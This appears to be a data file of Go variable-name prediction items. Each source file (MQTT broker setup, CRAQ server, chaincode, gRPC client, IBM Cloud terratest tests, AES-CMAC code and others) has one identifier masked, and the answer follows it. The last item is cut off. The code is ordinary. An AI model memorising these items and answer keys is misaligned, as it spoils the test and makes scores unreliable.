*******************************************************************************/ package initcmd import ( ""fmt"" ""github.com/spf13/cobra"" ""github.com/winc-link/hummingbird/cmd/mqtt-broker/mqttd"" ""github.com/winc-link/hummingbird/cmd/mqtt-broker/mqttd/command"" ""os"" ""path"" ) func must(err error) { if err != nil { fmt.Fprint(os.Stderr, err.Error()) os.Exit(1) } } func Init(rootCmd *cobra.Command) { [MASK] , err := mqttd.GetDefaultConfigDir() must(err) command.ConfigFile = path.Join( [MASK] , ""configuration.yml"") rootCmd.PersistentFlags().StringVarP(&command.ConfigFile, ""config"", ""c"", command.ConfigFile, ""The configuration file path"") rootCmd.AddCommand(command.NewStartCmd()) } ",configDir 687,"// (c) Copyright 2015 // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package flagon import ( ""bytes"" ""encoding/binary"" ""fmt"" ""log"" ""sync"" ) // CompOp enumerates the possible comparison operators that can be // used when searching entities. type CompOp uint8 const ( CompOpEquals CompOp = iota CompOpLessThan CompOpLessThanEquals CompOpGreaterThan CompOpGreaterThanEquals CompOpPrefix CompOpSuffix CompOpContains ) // SearchFn accepts a (key, entity) tuple, and answers `true` if they // satisfy the predicate. type SearchFn func(uint64, Entity) bool // SearchOpts are the possible options that application code can // specify for a search. Not all entity types may understand and // honour all options. type SearchOpts struct { // Operator to use for searching. Operator CompOp // Key where search should begin. If not found, search begins at // the first key that is greater than the given key. StartAt uint64 // Maximum number of results to answer; `0` for unlimited. Limit uint64 // Fields to deserialise and make available to the predicate. // Judicious use of this could increase search efficiency, // particularly for large entities. `nil` deserialises the entire // object, and is hence expensive. Fields []int } // EntityKey holds the globally-unique ID of an instance within its // entity type. type EntityKey struct { id uint64 } // ID answers the globally-unique ID of an instance within its entity // type. func (k EntityKey) ID() uint64 { return k.id } // Key answers the globally-unique ID of an instance within its entity // type in a serialisable form. func (k EntityKey) Key() []byte { buf := bytes.NewBuffer(make([]byte, 0, 8)) err := binary.Write(buf, binary.BigEndian, k.id) if err != nil { log.Printf(""error writing key: %s"", err) return nil } return buf.Bytes() } // fromKey reads and sets the ID of this key instance from the given // serialised form of a key. func (k *EntityKey) fromKey(by []byte) error { r := bytes.NewReader(by) err := binary.Read(r, binary.BigEndian, &k.id) if err != nil { return err } return nil } // Entity specifies the methods that data entities should implement to // be recognised by the entity types defined as their resources. type Entity interface { // ID answers a globally-unique identifier for this instance // within its entity type. ID() uint64 // Key answers the globally-unique ID of an instance within its // entity type in a serialisable form. Key() []byte // TypeName answers the name of this instance's entity type. TypeName() string fmt.Stringer // for debugging } // EntityType specifies the methods that data entity types should // implement to handle instances of the resources they represent. type EntityType interface { // Name answers the user-defined name of this entity type. Name() string // Get looks up the table for the entity having the given ID, and // answers the same if found. Get(uint64) (Entity, error) // Put creates - or updates - the given entity in the table. Put(Entity) error // Delete removes the entity having the given ID from the table, // if found. Delete(uint64) error // Search iterates through the table, passing each (key, entity) // tuple to the provided predicate. Search(SearchOpts, SearchFn) ([]uint64, error) } // EntityTypeDefn captures the necessary information for defining and // dealing with instances of specific entity types. // // Fields can only be added to an entity type -- they can NOT be // removed. However, since unused fields do not incur storage // overhead, having abandoned fields does not affect new instances. // This restriction is needed since old data needs to be retrieved // properly. type EntityTypeDefn struct { id uint16 // unique ID of this entity type name string // unique name of this entity type mutex sync.RWMutex // to protect fields fields map[string]FieldDefn // recognised fields of this entity type } // NewEntityTypeDefn creates an in-memory definition for a new entity // type with the given name. func NewEntityTypeDefn(name string) (*EntityTypeDefn, error) { if !nameRegexp.MatchString(name) { return nil, ErrNameInvalid } ed := &EntityTypeDefn{name: name, fields: make(map[string]FieldDefn, 2)} return ed, nil } // ID answers the unique ID of this entity type. func (ed *EntityTypeDefn) ID() uint16 { return ed.id } // Name answers the unique name of this entity type. func (ed *EntityTypeDefn) Name() string { return ed.name } // AddField adds a new field to this entity type using the given // details. func (ed *EntityTypeDefn) AddField(name string, [MASK] FieldType) error { if !nameRegexp.MatchString(name) { return ErrNameInvalid } if !IsValidFieldType( [MASK] ) { return ErrFieldTypeUnknown } ed.mutex.Lock() defer ed.mutex.Unlock() if _, ok := ed.fields[name]; ok { return ErrNameExists } n := len(ed.fields) fd := FieldDefn{Ftype: [MASK] , ID: uint8(n + 1), Name: name} ed.fields[name] = fd return nil } // Field answers the definition for the given field, if found. func (ed *EntityTypeDefn) Field(name string) (FieldDefn, error) { ed.mutex.RLock() defer ed.mutex.RUnlock() if fd, ok := ed.fields[name]; ok { return fd, nil } return FieldDefn{}, ErrNameUnknown } // Fields answers a copy of the field definitions of this entity type. func (ed *EntityTypeDefn) Fields() []FieldDefn { ed.mutex.RLock() defer ed.mutex.RUnlock() l := len(ed.fields) res := make([]FieldDefn, 0, l) for _, el := range ed.fields { res = append(res, el) } return res } ",ftype 688,"package main import ( ""context"" ""fmt"" ""log"" ""net/http"" ""os"" ""os/signal"" ""path/filepath"" ""syscall"" ""time"" ""github.com/leakingtapan/craq/internal/server"" ""github.com/spf13/cobra"" ) var ( port int id int chainTablePath string rootCmd = &cobra.Command{ Use: ""craq"", Short: ""CRAQ - A key-value server the implement CRAQ"", RunE: func(cmd *cobra.Command, args []string) error { return startServer() }, } ) func init() { rootCmd.PersistentFlags().IntVarP(&port, ""port"", ""p"", 8080, ""port to run the server on"") rootCmd.PersistentFlags().IntVar(&id, ""id"", 0, ""port to run the server on"") rootCmd.PersistentFlags().StringVar(&chainTablePath, ""chain-table"", """", ""the path to chain table"") } func main() { if err := rootCmd.Execute(); err != nil { fmt.Println(err) os.Exit(1) } } func startServer() error { fmt.Println(""1"") server, err := configureServer() if err != nil { return err } // Channel to listen for errors coming from the listener. serverErrors := make(chan error, 1) go func() { log.Printf(""Starting server with ID %d on %s...\n"", id, server.Addr) serverErrors <- server.ListenAndServe() }() shutdown := make(chan os.Signal, 1) signal.Notify(shutdown, os.Interrupt, syscall.SIGTERM) select { case err := <-serverErrors: log.Fatalf(""Error starting servr: %v"", err) case sig := <-shutdown: log.Printf(""Got signal: %v"", sig) log.Printf(""server is shutting down..."") // Give outstanding requests 5 seconds to complete. ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() if err := server.Shutdown(ctx); err != nil { log.Printf(""Graceful shutdown did not complete in 5s: %v"", err) if err := server.Close(); err != nil { log.Fatalf(""Could not stop server: %v"", err) } } } return nil } func configureServer() (*http.Server, error) { svr := &http.Server{ Addr: fmt.Sprintf("":%d"", port), } chainTable, err := server.ParseChainTable(chainTablePath) if err != nil { return nil, err } log.Printf(""parsed chain table: \n%+v"", chainTable) currDir, err := os.Getwd() if err != nil { return nil, fmt.Errorf(""failed to get current working directory: %w"", err) } [MASK] := filepath.Join(currDir, ""states"", fmt.Sprintf(""%d"", id)) switch chainTable.Role(id) { case server.HEAD: log.Printf(""creating head node"") handler, err := server.NewHeadNode(id, chainTable, [MASK] ) if err != nil { return nil, err } http.HandleFunc(""/set"", handler.HandleSet) http.HandleFunc(""/get"", handler.HandleGet) case server.MIDDLE: log.Printf(""creating middle node"") handler, err := server.NewMiddleNode(id, chainTable, [MASK] ) if err != nil { return nil, err } http.HandleFunc(""/get"", handler.HandleGet) http.HandleFunc(""/propagate"", handler.HandlePropagateWrite) case server.TAIL: log.Printf(""creating tail node"") handler, err := server.NewTailNode(id, chainTable, [MASK] ) if err != nil { return nil, err } http.HandleFunc(""/get"", handler.HandleGet) http.HandleFunc(""/propagate"", handler.HandlePropagateWrite) http.HandleFunc(""/version"", handler.HandleVersionQuery) case server.Unknown: log.Fatal(""failed to create server, unknown node role"") } return svr, nil } ",nodeFilePath 689,"package chaincode import ( ""encoding/json"" ""fmt"" ""crypto/rand"" ""github.com/hyperledger/fabric-contract-api-go/contractapi"" _ ""github.com/hyperledger/fabric-contract-api-go/contractapi/utils"" //""golang.org/x/text/message"" _ ""math/rand"" ) type Car struct { Make string `json:""make""` Model string `json:""model""` Colour string `json:""colour""` Owner string `json:""owner""` } type MetaDataStore struct { Doctype string //`json:""docType""` User string //`json:""user""` Metadata string //`json:""metaData""` Key string } type CodeStore struct { Doctype string //`json:""docType""` ForWhichSP string ///`json:""forWhichSp""` WhichIDP string //`json:""whichIdp""` Code string //`json:""code""` //Key string } func (s *SmartContract) StoreMetaData(ctx contractapi.TransactionContextInterface, user string, metaData string) error { b := make([]byte, 4) rand.Read(b) key := fmt.Sprintf(""%x"", b) [MASK] := MetaDataStore { Doctype: ""MetaData Store"", User : user, Metadata : metaData, Key : key, } metaDataBytes, _ := json.Marshal( [MASK] ) return ctx.GetStub().PutState( [MASK] .Key, metaDataBytes) } ",metaDataStore 690,"package main import ( ""log"" ""golang.org/x/net/context"" ""google.golang.org/grpc"" ""google.golang.org/grpc/credentials"" pb ""github.com/yang201396/GoExamples/grpc/proto"" ) func main() { [MASK] , err := credentials.NewClientTLSFromFile(""../../conf/server.pem"", ""panther"") if err != nil { log.Printf(""Failed to create TLS credentials %v"", err) } conn, err := grpc.Dial("":50052"", grpc.WithTransportCredentials( [MASK] )) if err != nil { log.Fatalf(""grpc.Dial err: %v"", err) } defer conn.Close() if err != nil { log.Println(err) } c := pb.NewHelloWorldClient(conn) body := &pb.HelloWorldRequest{ Referer: ""Grpc"", } r, err := c.SayHelloWorld(context.Background(), body) if err != nil { log.Println(""Server SayHelloWorld err: "", err) } log.Println(""Hello SayHelloWorld resp:"", r.Message) } ",creds 691,"// Tests in this file are run in the PR pipeline and the continuous testing pipeline package test import ( ""bytes"" ""crypto/ecdsa"" ""crypto/elliptic"" crypto_rand ""crypto/rand"" ""crypto/x509"" ""crypto/x509/pkix"" ""encoding/pem"" ""log"" ""math/big"" ""os"" ""testing"" ""time"" ""math/rand"" ""github.com/google/uuid"" ""github.com/gruntwork-io/terratest/modules/ssh"" ""github.com/stretchr/testify/assert"" ""github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper/cloudinfo"" ""github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper/common"" ""github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper/testhelper"" ""github.com/terraform-ibm-modules/ibmcloud-terratest-wrapper/testschematic"" ) // Use existing resource group const resourceGroup = ""geretain-test-resources"" const yamlLocation = ""../common-dev-assets/common-go-assets/common-permanent-resources.yaml"" // Ensure every example directory has a corresponding test const vpcSolutionDir = ""solutions/rhelai_vpc"" // additional constants for test const vsiMachineType = ""gx3-24x120x1l40s"" var sharedInfoSvc *cloudinfo.CloudInfoService var permanentResources map[string]interface{} // for included modules for each solution var tarAdditionalIncludePatterns []string var rhelaiImageCosUrl string var rhelaiModelCosBucketCrn string var rhelaiModelCosBucketName string var rhelaiModelCosRegion string // TLS certs for tests needing https var tlsTestCert string var tlsTestCertPriv string // for picking random zone, set in TestMain var zoneList []string // TestMain will be run before any parallel tests, used to set up a shared InfoService object to track region usage // for multiple tests func TestMain(m *testing.M) { sharedInfoSvc, _ = cloudinfo.NewCloudInfoServiceFromEnv(""TF_VAR_ibmcloud_api_key"", cloudinfo.CloudInfoServiceOptions{}) var err error permanentResources, err = common.LoadMapFromYaml(yamlLocation) if err != nil { log.Fatal(err) } // set up some values used for every test rhelaiImageCosUrl = permanentResources[""rhelai_image_cos_bucket_url""].(string) rhelaiModelCosBucketCrn = permanentResources[""rhelai_model_cos_bucket_crn""].(string) rhelaiModelCosBucketName = permanentResources[""rhelai_model_cos_bucket_name""].(string) rhelaiModelCosRegion = permanentResources[""rhelai_model_cos_bucket_region""].(string) zoneList = []string{""1"", ""2"", ""3""} // generate throwaway TLS certs for the test var certErr error tlsTestCert, tlsTestCertPriv, certErr = genNewTlsCert() if certErr != nil { log.Fatal(certErr) } tarAdditionalIncludePatterns = []string{ ""modules/https_conf/*"", ""modules/https_conf/ansible/*"", ""modules/https_conf/ansible/roles/proxy/tasks/*"", ""modules/https_conf/config/*"", ""modules/model/*"", ""modules/model/ansible-files/*"", ""modules/model/ansible-files/roles/ilab/tasks/*"", ""modules/rhelai_instance/*"", ""modules/rhelai_vpc/*"", } os.Exit(m.Run()) } // DEV NOTE: the full rhelai_vpc solution allows ansible to connect to VSI from IBM Cloud internal and // Schematics only. Therefore the tests for that solution will need to remain schematics tests. // Consistency test for the rhelai_vpc solution, with public option enabled. func TestRunVpcSolutionPublicSchematic(t *testing.T) { t.Parallel() tarIncludePatterns := append(tarAdditionalIncludePatterns, ""solutions/rhelai_vpc/*"", ""solutions/rhelai_vpc/scripts/*"") publicKey, privateKey := genNewSshKeypair(t) // this is a throwaway random key needed for the test modelKey := uuid.NewString() // set up a schematics test options := testschematic.TestSchematicOptionsDefault(&testschematic.TestSchematicOptions{ Testing: t, TarIncludePatterns: tarIncludePatterns, TemplateFolder: vpcSolutionDir, Prefix: ""rai-vpcpubs"", Region: ""eu-es"", DeleteWorkspaceOnFail: true, WaitJobCompleteMinutes: 90, CloudInfoService: sharedInfoSvc, IgnoreDestroys: testhelper.Exemptions{ List: []string{ ""terraform_data.private_only[0]"", }, }, }) randomZone := zoneList[rand.Intn(len(zoneList))] options.TerraformVars = []testschematic.TestSchematicTerraformVar{ {Name: ""ibmcloud_api_key"", Value: options.RequiredEnvironmentVars[""TF_VAR_ibmcloud_api_key""], DataType: ""string"", Secure: true}, {Name: ""region"", Value: options.Region, DataType: ""string""}, {Name: ""zone"", Value: randomZone, DataType: ""string""}, {Name: ""prefix"", Value: options.Prefix, DataType: ""string""}, {Name: ""existing_resource_group"", Value: resourceGroup, DataType: ""string""}, {Name: ""machine_type"", Value: vsiMachineType, DataType: ""string""}, {Name: ""enable_private_only"", Value: false, DataType: ""bool""}, {Name: ""ssh_key"", Value: publicKey, DataType: ""string""}, {Name: ""ssh_private_key"", Value: privateKey, DataType: ""string"", Secure: true}, {Name: ""model_apikey"", Value: modelKey, DataType: ""string"", Secure: true}, {Name: ""model_cos_bucket_name"", Value: rhelaiModelCosBucketName, DataType: ""string""}, {Name: ""model_cos_region"", Value: rhelaiModelCosRegion, DataType: ""string""}, {Name: ""model_cos_bucket_crn"", Value: rhelaiModelCosBucketCrn, DataType: ""string""}, {Name: ""enable_https"", Value: true, DataType: ""bool""}, {Name: ""https_certificate"", Value: tlsTestCert, DataType: ""string""}, {Name: ""https_privatekey"", Value: tlsTestCertPriv, DataType: ""string""}, } err := options.RunSchematicTest() assert.Nil(t, err, ""This should not have errored"") } // DEV NOTE: the full rhelai_vpc solution allows ansible to connect to VSI from IBM Cloud internal and // Schematics only. Therefore the tests for that solution will need to remain schematics tests. // Consistency test for the rhelai_vpc solution, with public option disabled. func TestRunVpcSolutionPrivateSchematic(t *testing.T) { t.Parallel() tarIncludePatterns := append(tarAdditionalIncludePatterns, ""solutions/rhelai_vpc/*"", ""solutions/rhelai_vpc/scripts/*"") publicKey, privateKey := genNewSshKeypair(t) // this is a throwaway random key needed for the test modelKey := uuid.NewString() // set up a schematics test // NOTE: due to nature of floating IP in the private scenario, there are some ignore rules options := testschematic.TestSchematicOptionsDefault(&testschematic.TestSchematicOptions{ Testing: t, TarIncludePatterns: tarIncludePatterns, TemplateFolder: vpcSolutionDir, Prefix: ""rai-vpcpubs"", Region: ""eu-es"", DeleteWorkspaceOnFail: true, WaitJobCompleteMinutes: 90, CloudInfoService: sharedInfoSvc, IgnoreAdds: testhelper.Exemptions{ List: []string{ ""ibm_is_floating_ip.ip_address"", }, }, IgnoreDestroys: testhelper.Exemptions{ List: []string{ ""terraform_data.private_only[0]"", }, }, }) randomZone := zoneList[rand.Intn(len(zoneList))] options.TerraformVars = []testschematic.TestSchematicTerraformVar{ {Name: ""ibmcloud_api_key"", Value: options.RequiredEnvironmentVars[""TF_VAR_ibmcloud_api_key""], DataType: ""string"", Secure: true}, {Name: ""region"", Value: options.Region, DataType: ""string""}, {Name: ""zone"", Value: randomZone, DataType: ""string""}, {Name: ""prefix"", Value: options.Prefix, DataType: ""string""}, {Name: ""existing_resource_group"", Value: resourceGroup, DataType: ""string""}, {Name: ""machine_type"", Value: vsiMachineType, DataType: ""string""}, {Name: ""enable_private_only"", Value: true, DataType: ""bool""}, {Name: ""ssh_key"", Value: publicKey, DataType: ""string""}, {Name: ""ssh_private_key"", Value: privateKey, DataType: ""string"", Secure: true}, {Name: ""model_apikey"", Value: modelKey, DataType: ""string"", Secure: true}, {Name: ""model_cos_bucket_name"", Value: rhelaiModelCosBucketName, DataType: ""string""}, {Name: ""model_cos_region"", Value: rhelaiModelCosRegion, DataType: ""string""}, {Name: ""model_cos_bucket_crn"", Value: rhelaiModelCosBucketCrn, DataType: ""string""}, {Name: ""enable_https"", Value: true, DataType: ""bool""}, {Name: ""https_certificate"", Value: tlsTestCert, DataType: ""string""}, {Name: ""https_privatekey"", Value: tlsTestCertPriv, DataType: ""string""}, } err := options.RunSchematicTest() assert.Nil(t, err, ""This should not have errored"") } // DEV NOTE: the full rhelai_vpc solution allows ansible to connect to VSI from IBM Cloud internal and // Schematics only. Therefore the tests for that solution will need to remain schematics tests. // UPGRADE test for the rhelai_vpc solution, with public option enabled. func TestRunVpcSolutionPublicUpgradeSchematic(t *testing.T) { t.Skip(""Solution is still in Beta and has not been released, skipping upgrade tests until solution finalized"") t.Parallel() tarIncludePatterns := append(tarAdditionalIncludePatterns, ""solutions/rhelai_vpc/*"", ""solutions/rhelai_vpc/scripts/*"") publicKey, privateKey := genNewSshKeypair(t) // this is a throwaway random key needed for the test modelKey := uuid.NewString() randomZone := zoneList[rand.Intn(len(zoneList))] // set up a schematics test options := testschematic.TestSchematicOptionsDefault(&testschematic.TestSchematicOptions{ Testing: t, TarIncludePatterns: tarIncludePatterns, TemplateFolder: vpcSolutionDir, Prefix: ""rai-vpc-upg"", Region: ""eu-es"", DeleteWorkspaceOnFail: true, WaitJobCompleteMinutes: 90, CloudInfoService: sharedInfoSvc, IgnoreDestroys: testhelper.Exemptions{ List: []string{ ""terraform_data.private_only[0]"", }, }, }) options.TerraformVars = []testschematic.TestSchematicTerraformVar{ {Name: ""ibmcloud_api_key"", Value: options.RequiredEnvironmentVars[""TF_VAR_ibmcloud_api_key""], DataType: ""string"", Secure: true}, {Name: ""region"", Value: options.Region, DataType: ""string""}, {Name: ""zone"", Value: randomZone, DataType: ""string""}, {Name: ""prefix"", Value: options.Prefix, DataType: ""string""}, {Name: ""existing_resource_group"", Value: resourceGroup, DataType: ""string""}, {Name: ""machine_type"", Value: vsiMachineType, DataType: ""string""}, {Name: ""enable_private_only"", Value: false, DataType: ""bool""}, {Name: ""ssh_key"", Value: publicKey, DataType: ""string""}, {Name: ""ssh_private_key"", Value: privateKey, DataType: ""string"", Secure: true}, {Name: ""model_apikey"", Value: modelKey, DataType: ""string"", Secure: true}, {Name: ""model_cos_bucket_name"", Value: rhelaiModelCosBucketName, DataType: ""string""}, {Name: ""model_cos_region"", Value: rhelaiModelCosRegion, DataType: ""string""}, {Name: ""model_cos_bucket_crn"", Value: rhelaiModelCosBucketCrn, DataType: ""string""}, {Name: ""enable_https"", Value: true, DataType: ""bool""}, {Name: ""https_certificate"", Value: tlsTestCert, DataType: ""string""}, {Name: ""https_privatekey"", Value: tlsTestCertPriv, DataType: ""string""}, } err := options.RunSchematicUpgradeTest() if !options.UpgradeTestSkipped { assert.Nil(t, err, ""This should not have errored"") } } // helper function to generate an SSH key pair for testing func genNewSshKeypair(t *testing.T) (string, string) { rsaKeyPair, _ := ssh.GenerateRSAKeyPairE(t, 4096) sshPublicKey := rsaKeyPair.PublicKey sshPrivateKey := rsaKeyPair.PrivateKey return sshPublicKey, sshPrivateKey } // helper function to create a valid self-signed TLS cert for https server // inspriation from this example: https://go.dev/src/crypto/tls/generate_cert.go // outputs: cert, private key, error func genNewTlsCert() (string, string, error) { // CREATE THE TLS CERT cert := &x509.Certificate{ SerialNumber: big.NewInt(1658), Subject: pkix.Name{ Organization: []string{""IBM""}, }, NotBefore: time.Now(), NotAfter: time.Now().AddDate(0, 1, 0), // 1 month ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, KeyUsage: x509.KeyUsageDigitalSignature, IsCA: true, } certPrivKey, [MASK] := ecdsa.GenerateKey(elliptic.P256(), crypto_rand.Reader) if [MASK] != nil { return """", """", [MASK] } // SELF SIGN THE CERT certBytes, certBytesErr := x509.CreateCertificate(crypto_rand.Reader, cert, cert, &certPrivKey.PublicKey, certPrivKey) if certBytesErr != nil { return """", """", certBytesErr } // PEM ENCODE certPEM := new(bytes.Buffer) pubPemEncodeErr := pem.Encode(certPEM, &pem.Block{ Type: ""CERTIFICATE"", Bytes: certBytes, }) if pubPemEncodeErr != nil { return """", """", pubPemEncodeErr } certPrivBytes, certPrivBytesErr := x509.MarshalPKCS8PrivateKey(certPrivKey) if certPrivBytesErr != nil { return """", """", certPrivBytesErr } certPrivKeyPEM := new(bytes.Buffer) privPemEncodeErr := pem.Encode(certPrivKeyPEM, &pem.Block{ Type: ""PRIVATE KEY"", Bytes: certPrivBytes, }) if privPemEncodeErr != nil { return """", """", privPemEncodeErr } return certPEM.String(), certPrivKeyPEM.String(), nil } ",certPrivErr 692,"package edges import ( ""bytes"" ""fmt"" ""io/ioutil"" ""regexp"" ""strings"" ""text/template"" ""time"" ""github.com/linkerd/linkerd2-conformance/utils"" ""github.com/linkerd/linkerd2/testutil"" ""github.com/onsi/ginkgo"" ""github.com/onsi/gomega"" ) var ( testNs string terminuspodIP string ) func testDeployTerminus() { h, _ := utils.GetHelperAndConfig() testNs = h.GetTestNamespace(""direct-edges-test"") err := h.CreateControlPlaneNamespaceIfNotExists(testNs) gomega.Expect(err).Should(gomega.BeNil(), fmt.Sprintf(""failed to create namespace '%s': %s"", testNs, utils.Err(err))) out, stderr, err := h.LinkerdRun(""inject"", ""--manual"", ""testdata/edges/terminus.yaml"") gomega.Expect(err).Should(gomega.BeNil(), fmt.Sprintf(""failed to inject terminus: %s\n%s"", out, stderr)) out, err = h.KubectlApply(out, testNs) gomega.Expect(err).Should(gomega.BeNil(), fmt.Sprintf(""`kubectl apply` command failed: %s\n%s"", out, utils.Err(err))) if err := h.CheckPods(testNs, ""terminus"", 1); err != nil { if _, ok := err.(*testutil.RestartCountError); !ok { ginkgo.Fail(fmt.Sprintf(""CheckPods timed-out: %s"", err)) } } err = h.CheckDeployment(testNs, ""terminus"", 1) gomega.Expect(err).Should(gomega.BeNil(), fmt.Sprintf(""CheckDeployment timed-out: %s"", utils.Err(err))) terminuspodIP, err = h.Kubectl("""", ""-n"", testNs, ""get"", ""pod"", ""-ojsonpath=\""{.items[*].status.podIP}\"""") gomega.Expect(err).Should(gomega.BeNil(), ""failed to get pod ip: `kubectl get pod command failed` - %s"", utils.Err(err)) terminuspodIP = strings.Trim(terminuspodIP, ""\"""") } func testDeploySlowCooker() { h, _ := utils.GetHelperAndConfig() b, err := ioutil.ReadFile(""testdata/edges/slow-cooker.yaml"") gomega.Expect(err).Should(gomega.BeNil(), ""error reading file slow-cooker.yaml"") [MASK] := string(b) [MASK] = strings.ReplaceAll( [MASK] , ""___TERMINUS_POD_IP___"", terminuspodIP) out, stderr, err := h.PipeToLinkerdRun( [MASK] , ""inject"", ""--manual"", ""-"") gomega.Expect(err).Should(gomega.BeNil(), fmt.Sprintf(""`linkerd inject` command failed: %s\n%s"", out, stderr)) out, err = h.KubectlApply(out, testNs) gomega.Expect(err).Should(gomega.BeNil(), fmt.Sprintf(""`kubectl apply` command failed: %s\n%s"", out, err)) if err := h.CheckPods(testNs, ""slow-cooker"", 1); err != nil { if _, ok := err.(*testutil.RestartCountError); !ok { ginkgo.Fail(fmt.Sprintf(""CheckPods timed-out: %s"", err)) } } err = h.CheckDeployment(testNs, ""slow-cooker"", 1) gomega.Expect(err).Should(gomega.BeNil(), fmt.Sprintf(""CheckDeployment timed-out: %s"", utils.Err(err))) } func testEdges() { h, _ := utils.GetHelperAndConfig() timeout := 50 * time.Second err := h.RetryFor(timeout, func() error { out, stderr, err := h.LinkerdRun(""-n"", testNs, ""-o"", ""json"", ""edges"", ""deploy"") gomega.Expect(err).Should(gomega.BeNil(), fmt.Sprintf(""`linkerd edges` command failed: %s\n%s"", out, stderr)) tpl := template.Must(template.ParseFiles(""testdata/edges/direct_edges.golden"")) vars := struct { Ns string ControlNs string }{ testNs, h.GetLinkerdNamespace(), } var buf bytes.Buffer if err := tpl.Execute(&buf, vars); err != nil { return fmt.Errorf(""failed to parse direct_edges.golden template: %s"", err) } r := regexp.MustCompile(buf.String()) if !r.MatchString(out) { return fmt.Errorf(""expected output:\n%s\nactual output:\n%s"", buf.String(), out) } return nil }) gomega.Expect(err).Should(gomega.BeNil(), fmt.Sprintf(""failed to verify edges:\n%s"", err)) } func testClean() { h, _ := utils.GetHelperAndConfig() out, err := h.Kubectl("""", ""delete"", ""ns"", testNs) gomega.Expect(err).Should(gomega.BeNil(), fmt.Sprintf(""`kubectl delete ns` command failed: %s\n%s"", out, err)) } ",slowcooker 693,"package cmac import ( ""crypto/aes"" ""crypto/cipher"" ""errors"" ""github.com/luc-lynx/siv/common"" ""hash"" ) const ( blockSize = 16 ) var ( zero = []byte{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, } rb = []byte{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87, } errUnsupportedKeySize = errors.New(""key size is not supported"") errAlreadyFinished = errors.New(""the processing has been finalized, reset call is needed"") ) type cmac struct { aesEncryptor cipher.Block state []byte key []byte accumulator []byte finished bool hadData bool k1 []byte k2 []byte } func (c *cmac) Write(p []byte) (n int, err error) { if c.finished { return 0, errAlreadyFinished } if len(p) == 0 { return 0, nil } c.hadData = true c.accumulator = append(c.accumulator, p...) [MASK] := len(c.accumulator) / blockSize // For the final stage we need some more data than one block if [MASK] <= 1 { return len(p), nil } // Leaving last block for final stage for i := 0; i < [MASK] -1; i++ { c.writeFullBlock(c.accumulator[0:blockSize]) c.accumulator = c.accumulator[blockSize:] } return len(p), nil } func (c *cmac) writeFullBlock(block []byte) { c.state = common.Xor(c.state, block) c.aesEncryptor.Encrypt(c.state, c.state) } func (c cmac) Sum(b []byte) []byte { if c.hadData { if len(c.accumulator) == blockSize { c.accumulator = common.Xor(c.accumulator, c.k1) } else { // we've got a bit more than one block if len(c.accumulator) > blockSize { c.writeFullBlock(c.accumulator[0:blockSize]) c.accumulator = c.accumulator[blockSize:] } c.accumulator = common.Xor(common.Padding(c.accumulator), c.k2) } } else { // nil array corner case c.accumulator = common.Xor(common.Padding([]byte{}), c.k2) } // Y = M_last XOR X y := common.Xor(c.accumulator, c.state) c.aesEncryptor.Encrypt(y, y) c.finished = true return append(b, y...) } func (c *cmac) Reset() { c.init() } func (c cmac) Size() int { return blockSize } func (c cmac) BlockSize() int { return blockSize } func (c *cmac) generateSubKey() ([]byte, []byte) { var k1 []byte var k2 []byte l := make([]byte, blockSize) c.aesEncryptor.Encrypt(l, zero) k1 = common.ShiftLeft(l) // MSB(l) if l[0]&common.Msb == common.Msb { k1 = common.Xor(k1, rb) } k2 = common.ShiftLeft(k1) if k1[0]&common.Msb == common.Msb { k2 = common.Xor(k2, rb) } return k1, k2 } func (c *cmac) init() { c.k1, c.k2 = c.generateSubKey() c.accumulator = []byte{} c.state = make([]byte, 16) c.finished = false c.hadData = false } func NewCmac(key []byte) (hash.Hash, error) { switch len(key) { case 16, 24, 32: break default: return nil, errUnsupportedKeySize } a, err := aes.NewCipher(key) if err != nil { return nil, err } result := &cmac{ aesEncryptor: a, key: key, } result.init() return result, nil } func Sum(key, data []byte) []byte { c, err := NewCmac(key) if err != nil { panic(err.Error()) } _, err = c.Write(data) if err != nil { panic(err.Error()) } return c.Sum(nil) } ",numFullBlocks 694,"package main import ( ""context"" ""flag"" ""fmt"" stdlog ""log"" ""net/http"" ""os"" ""os/signal"" ""time"" ""github.com/eachchat/yiqia-push/pkg/log"" ""github.com/eachchat/yiqia-push/pkg/notify"" ""github.com/eachchat/yiqia-push/pkg/push/overall"" ""github.com/go-kit/log/level"" ""gopkg.in/yaml.v3"" ) // config is the configuration of the server. type config struct { // Addr is the address to listen on. // Default: :80 Addr string `yaml:""addr""` // LogLevel is the log level. // Default: info LogLevel string `yaml:""log_level""` Pusher overall.Config `yaml:""pusher""` Notify notify.Config `yaml:""notify""` } func (c *config) Validate() error { if c.Addr == """" { c.Addr = "":80"" } if c.LogLevel == """" { c.LogLevel = ""info"" } err := c.Notify.Validate() if err != nil { return fmt.Errorf(""invalid notify config: %v"", err) } err = c.Pusher.Validate() if err != nil { return fmt.Errorf(""invalid pusher config: %v"", err) } return nil } // getConfig reads the configuration from the given file. func getConfig(path string) (*config, error) { fd, err := os.Open(path) if err != nil { return nil, fmt.Errorf(""fail open config file: %v"", err) } defer fd.Close() conf := new(config) err = yaml.NewDecoder(fd).Decode(conf) if err != nil { return nil, fmt.Errorf(""fail decode config file: %v"", err) } err = conf.Validate() if err != nil { return nil, fmt.Errorf(""invalid config: %v"", err) } return conf, nil } // Main starts the server and returns a function to stop it. func Main(ctx context.Context) func() { var configPath string flag.StringVar(&configPath, ""c"", ""./config.yaml"", ""config path. default: ./config.yaml"") flag.Parse() cfg, err := getConfig(configPath) if err != nil { stdlog.Fatalf(""fail get config: %v"", err) } logger := log.NewLogger(cfg.LogLevel) [MASK] , err := overall.New(&cfg.Pusher) if err != nil { level.Error(logger).Log(""msg"", 